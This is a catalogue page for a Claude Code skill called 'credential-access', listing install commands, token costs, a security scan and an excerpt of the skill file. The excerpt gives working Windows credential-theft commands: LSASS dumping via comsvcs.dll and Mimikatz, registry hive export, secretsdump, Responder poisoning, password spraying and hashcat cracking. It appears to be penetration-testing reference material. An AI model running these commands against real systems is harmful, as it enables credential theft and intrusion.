credential-access

credential-access is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 38 tokens per session (4,113 once invoked), scanned B, original, Apache-2.0.

A reference for extracting passwords, password hashes and other login material from Windows systems and network traffic.

In plain words
What is it for?
Use it for Windows credential-dump procedures, password spraying, hash cracking, authentication-relay tests and decryption of protected Windows credentials.
Why use it?
It explains how stolen authentication material can be recovered or tested during an authorised security assessment, while highlighting the need for permission.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it for Windows credential-dump procedures, password spraying, hash cracking, authentication-relay tests and decryption of protected Windows credentials.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/credential-access
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill credential-access
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for credential-access

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/credential-access/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/credential-access)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/credential-access"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/credential-access/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for credential-access

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/credential-access"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/credential-access.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 38 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,113 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00038 $0.04113
Opus 5 $0.00019 $0.02056
Sonnet 5 $0.00008 $0.00823
Haiku 4.5 $0.00004 $0.00411

Measured 9d ago against content hash b3736ad201ba, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade B, and why

credential-access scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

when_to_use: "credential access, dump credentials, LSASS, mimikatz, password spray, NTLM relay, Responder, hash cracking, SAM dump, DPAPI, secretsdump"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

src/skills/standard/post-exploit/credential-access/SKILL.md · 378 lines

How it starts

The opening of the file, as written. The whole thing — 378 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Credential Access Knowledge Base

Credential access extracts authentication material from compromised systems and network traffic. Captured credentials enable lateral movement, privilege escalation, and persistent access. Always validate scope authorization before executing credential attacks.

Quick Reference

# LSASS dump via comsvcs.dll (living-off-the-land, no tool upload)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\out.dmp full

# SAM/SYSTEM hive extraction
reg save HKLM\SAM C:\Windows\Temp\SAM && reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM && reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

# Remote secretsdump (domain creds required)
secretsdump.py '<DOMAIN>/<USER>:<PASS>@<TARGET>' -outputfile secretsdump_<TARGET>

# Responder LLMNR/NBT-NS poisoning
responder -I eth0 -dwPv | tee responder_<TARGET>.log

# Password spray with NetExec
nxc smb <TARGET> -u users.txt -p 'Spring2026!' --continue-on-success | tee spray_<TARGET>.log

# Crack NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked.txt

MITRE ATT&CK Mapping

Technique ID Name Tools
T1003.001 OS Credential Dumping: LSASS Memory Mimikatz, nanodump, comsvcs.dll, HandleKatz
T1003.002 OS Credential Dumping: SAM reg save, secretsdump.py
T1003.004 OS Credential Dumping: LSA Secrets secretsdump.py, Mimikatz
T1557.001 LLMNR/NBT-NS Poisoning Responder
T1110.003 Password Spraying CrackMapExec, NetExec, DomainPasswordSpray
T1187 Forced Authentication ntlmrelayx.py, PetitPotam

1. LSASS Memory Dumping

Mimikatz — sekurlsa Module

# Dump all logon passwords from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > mimikatz_<TARGET>.txt

# Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" "exit"

# Dump Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

# Dump cached domain credentials
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

Read the full file on GitHub · 378 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 378 lines · 38 tokens per session scan B b3736ad201ba

Subscribe to this mod's changes

credential-access is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 38 tokens to every session and 4,113 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 1 finding (harvests environment variables). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.